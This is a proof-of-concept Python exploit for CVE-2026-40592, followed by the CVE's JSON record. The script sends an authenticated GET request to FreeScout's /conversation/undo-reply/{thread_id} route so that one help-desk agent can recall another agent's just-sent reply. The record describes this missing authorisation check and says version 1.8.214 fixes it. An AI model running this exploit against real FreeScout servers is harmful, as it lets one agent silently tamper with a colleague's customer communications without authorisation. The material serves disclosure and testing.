CVE-2026-40592

# PoC for CVE-2026-40592 # Description: Exploits the improper access control in FreeScout to undo another agent's reply. # Requirements: Valid session cookie of an agent with 'view' permission on the conversation. import requests def exploit_undo_reply(target_host, thread_id, session_cookie): """ Attempts to undo a reply by sending a GET request to the vulnerable endpoint. """ url = f"{target_host}/conversation/undo-reply/{thread_id}" headers = { "Cookie": f"freescout_session={session_cookie}", "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } try: print(f"[*] Sending request to {url}...") response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if the reply was recalled.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "http://example-freescout.com" THREAD_ID = "12345" # Replace with a valid thread_id COOKIE = "attacker_session_token_value_here" exploit_undo_reply(TARGET, THREAD_ID, COOKIE)

{"cve": {"id": "CVE-2026-40592", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:57.087", "lastModified": "2026-04-22T21:10:14.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.214, the undo-send route `GET /conversation/undo-reply/{thread_id}` checks only whether the current user can view the parent conversation. It does not verify that the current user created the reply being undone. In a shared mailbox, one agent can therefore recall another agent's just-sent reply during the 15-second undo window. Version 1.8.214 fixes the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/c779afdda86fa00a4b85779e034bbfd9ce20c76d", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.214", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-674v-r6xp-mvp6", "source": "[email protected]"}]}}